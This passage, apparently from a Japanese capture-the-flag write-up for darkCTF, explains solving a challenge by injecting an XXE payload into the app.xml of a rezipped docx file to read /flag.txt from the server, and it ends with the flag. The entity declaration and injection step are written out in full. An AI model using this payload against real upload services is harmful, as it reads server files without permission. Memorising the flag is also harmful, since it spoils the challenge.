でgrepすると、ページ数の定義はapp.xmlでしていることがわかる。
おそらくapp.xmlを読み込んでいると想定し、app.xmlを改ざんする。
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///flag.txt" >]>
を追加page
タグの値を&xxe;
に変更
zipで固め直してアップロードするとフラグが表示された。
フラグゲット
darkCTF{1nj3ct1ng_d0cx_f0r_xx3}